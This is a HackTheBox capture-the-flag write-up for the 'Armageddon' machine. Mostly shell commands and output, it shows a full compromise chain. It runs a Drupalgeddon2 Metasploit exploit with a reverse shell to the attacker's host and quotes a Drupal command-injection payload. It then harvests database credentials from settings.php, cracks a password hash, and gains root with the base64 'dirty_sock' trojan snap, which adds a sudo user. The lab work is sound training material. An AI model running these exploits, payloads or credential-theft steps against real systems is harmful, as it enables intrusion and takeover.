Hero Image

[HTB] Armageddon - Writeup

Preface: Armageddon is a easy box on HackTheBox.eu. With an basic nmap scan we discovered a vulnerable and outdated content management system. With a known CVE we are able to gain a shell as apache. With database credentials we found from the CMS we were able to got a user. Once on the machine and with some basic manual enumeration we discovered that we are able to run a programm with sudo. With this ability we are able to gain a root shell. Hack the box infocard DUMMY

Information gathering

As always we start with an nmap scan for open ports and services:

$ nmap -sC -sV -oN nmap/armageddon.nmap 10.10.10.233
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-07 11:32 CEST
Nmap scan report for 10.10.10.233
Host is up (0.040s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.87 seconds

We got two open ports. The interesting one is the port 80, http. According of the nmap scan there is Drupal 7 running on it. There is also a robots.txt where we should take a look on it.

Searchsploit

A quick searchsploit gives us a ton of results.

$ searchsploit drupal 7
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                              |  Path
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
... [snip] ...
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)                                                                    | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)                                                                 | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution                                                         | php/webapps/44449.rb
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution                                                         | php/webapps/44449.rb
... [snip] ...
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

But the most interesting one for us is this one:

Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | php/webapps/44542.txt

Let's see what informations we can gain from it:

$ searchsploit -x php/webapps/44542.txt

This is a sample of exploit for Drupal 7 new vulnerability SA-CORE-2018-004 / CVE-2018-7602.

You must be authenticated and with the power of deleting a node. Some other forms may be vulnerable : at least, all of forms that is in 2-step (form then confirm).

POST /?q=node/99/delete&destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami HTTP/1.1
[...]
form_id=node_delete_confirm&_triggering_element_name=form_id&form_token=[CSRF-TOKEN]

Retrieve the form_build_id from the response, and then triggering the exploit with : 

POST /drupal/?q=file/ajax/actions/cancel/%23options/path/[FORM_BUILD_ID] HTTP/1.1
[...]
form_build_id=[FORM_BUILD_ID]

This will display the result of the whoami command.

Patch your systems!
Blaklis

There is the CVE-2018-7602 which is a vulnerability in the Drupal 7 core. Now it is time to confirm if this installation is vulnerable to it.

CVE-2018-7602

A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being compromised. This vulnerability is related to Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002. Both SA-CORE-2018-002 and this vulnerability are being exploited in the wild. -- NVD NIST

This sounds awesome. Exactly what we need. Let's see if we find a PoC or something. There is a metasploit module for this vulnerability.

$ msfconsole -q
msf6 > search drupal

Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   1  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   2  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   3  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   4  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   5  exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   6  exploit/unix/webapp/drupal_restws_unserialize  2019-02-20       normal     Yes    Drupal RESTful Web Services unserialize() RCE
   7  exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution

I will use the exploit/unix/webapp/drupal_drupalgeddon2 module. The only two things we have to set is LHOST and RHOSTS. Before we try to exploit the installation we should check if it is vulnerable. It is always good to first verify the vulnerability.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > check
[+] 10.10.10.233:80 - The target is vulnerable.

Foothold

Yep, it is vulnerable. So we found the correct CVE. Now it is time to run the exploit.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 10.10.14.14:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (39282 bytes) to 10.10.10.233
[*] Meterpreter session 1 opened (10.10.14.14:4444 -> 10.10.10.233:50242) at 2021-04-07 12:14:05 +0200

meterpreter > shell
Process 2692 created.
Channel 0 created.
$ whoami
apache

Nice! We got a proper foothold!

SHELL: apache

User

Once on the box I enumerate manually. First I check the /var/www/html directory. Maybe we can find some credentials in the Drupal installation. There should be a configuration file for the system. I am not that familiar with Drupal so I try first a quick grep in the installation directory.

$ pwd
/var/www/html
$ grep -r passw *
... [snip] ...
sites/default/settings.php: *     'password' => 'password',
sites/default/settings.php: *     'password' => 'password',
sites/default/settings.php:      'password' => 'CQHEy@9M*m23gBVj',
sites/default/settings.php: * by using the username and password variables. The proxy_user_agent variable
sites/default/settings.php:# $conf['proxy_password'] = '';
themes/bartik/css/ie.css:#password-strength-text {
themes/bartik/css/style-rtl.css:#password-strength {
... [snip] ...

And there is a string which looks like an password. The file name settings.php sounds also pretty good. Let's see for what it is.

$ cat sites/default/settings.php
... [snip] ...
$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),       
);
... [snip] ...

We got the credentials for mysql. Now it is time to check if mysql is running on the box. Because we could find some users and passwords.

$netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 ::1:25                  :::*                    LISTEN      -                   
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)

Yep, there is mysql listening on port 3306. So I try the credentials we found before.

$ mysql -u drupaluser -p -D drupal
mysql -u drupaluser -p -D drupal
Enter password: CQHEy@9M*m23gBVj
select * from users;
exit
uid     name    pass    mail    theme   signature       signature_format        created access  login   status  timezone        language        picture init    data
0                                               NULL    0       0       0       0       NULL            0               NULL
1       brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu                     filtered_html   1606998756      1607077194   1607076276       1       Europe/London           0       admin@armageddon.eu     a:1:{s:7:"overlay";i:1;}

Awesome! These credentials are correct. As you can see above, I selected the database drupal which I enumerated before. There I selected all entries of the table users. There is one user brucetherealadmin. Let's try if we can crack the hash with john.

John

We try to crack the hash we found with the mysql credentials with john. I created a file hashes which contains the hash of the user.

$ john hashes /usr/share/wordlists/rockyou.txt
Warning: only loading hashes of type "Drupal7", but also saw type "tripcode"
Use the "--format=plaintext" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
booboo           (?)
1g 0:00:00:00 DONE 2/3 (2021-04-08 07:34) 1.149g/s 183.9p/s 183.9c/s 183.9C/s asdfjkl;..bradley
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We cracked the hash. No we have the password booboo for the user brucetherealadmin. This is the admin user of the Drupal installation. Maybe this user is also on the box. So let's try to ssh into the box.

$ ssh brucetherealadmin@10.10.10.233
brucetherealadmin@10.10.10.233's password: 
Last login: Thu Apr  8 06:52:40 2021 from 10.10.14.14
[brucetherealadmin@armageddon ~]$ whoami && hostname
brucetherealadmin
armageddon.htb
[brucetherealadmin@armageddon ~]$ 

Yes, we got the user shell as brucetherealadmin.

SHELL: brucetherealadmin

Root

First we enumerate manually as brucetherealadmin. And I found something interesting. We are able to run snap install with sudo.

$ sudo -l
 Matching Defaults entries for brucetherealadmin on armageddon:
     !visiblepw, always\_set\_home, match\_group\_by\_gid, always\_query\_group\_plugin, env\_reset, env\_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS\_COLORS",
     env\_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC\_ADDRESS LC\_CTYPE", env\_keep+="LC\_COLLATE LC\_IDENTIFICATION LC\_MEASUREMENT LC\_MESSAGES",
     env\_keep+="LC\_MONETARY LC\_NAME LC\_NUMERIC LC\_PAPER LC\_TELEPHONE", env\_keep+="LC\_TIME LC\_ALL LANGUAGE LINGUAS \_XKB\_CHARSET XAUTHORITY",
     secure\_path=/sbin\\:/bin\\:/usr/sbin\\:/usr/bin
 User brucetherealadmin may run the following commands on armageddon:
   ** (root) NOPASSWD: /usr/bin/snap install \***

Let's see what version of snap is installed on this box.

$ snap version
snap    2.47.1-1.el7
snapd   2.47.1-1.el7
series  16
centos  7
kernel  3.10.0-1160.6.1.el7.x86_64

We got version 2.47.1. So we should take a look if there is a CVE available for this version. searchsploit got a exploit for the version 2.37.

$ searchsploit snapd
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                              |  Path
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (1)                                                                         | linux/local/46361.py
snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (2)                                                                         | linux/local/46362.py
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

I will take a look into the linux/local/46362.py file.

... [snip] ...
# The following global is a base64 encoded string representing an installable
# snap package. The snap itself is empty and has no functionality. It does,
# however, have a bash-script in the install hook that will create a new user.
# For full details, read the blog linked on the github page above.
TROJAN_SNAP = ('''
aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD/
/////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJh
ZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5
TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERo
T2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawpl
Y2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFt
ZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZv
ciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5n
L2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZt
b2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAe
rFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUj
rkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAA
AAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2
XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5
RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAA
AFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw'''
+ 'A' * 4256 + '==')
... [snip] ...

This snippet is a installable snap package encoded in base64. I think we need only this part. Because we are able to run snap install with sudo. But before we run this on the box we should know what it does. On the github page of this exploit there is a blog post where this is explained in detail. The relevant information for us is that this snap package add an user dirty_sock:dirty_sock and add it to the sudo group. So we are able to run everything as root with the dirty_sock user.

So now it is time to try this package on the box.

$ python2 -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw" + "A"*4526 + "=="' | base64 -d > qty.snap
$ sudo /usr/bin/snap install --devmode qty.snap 
dirty-sock 0.1 installed

Now we have to switch to the dirty_sock user. The password is identical to the name. Then we should be able to switch to the root user. Because our new user is able to run everything with sudo.

$ su dirty_sock
Passwort: dirty_sock 
[dirty_sock@armageddon qty] sudo -i
[sudo] Passwort für dirty_sock: dirty_sock

[root@armageddon ~]# id
uid=0(root) gid=0(root) Gruppen=0(root) Kontext=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@armageddon ~]#

Awesome! It worked!

SHELL: root


Thanks for reading! I hope you enjoyed it!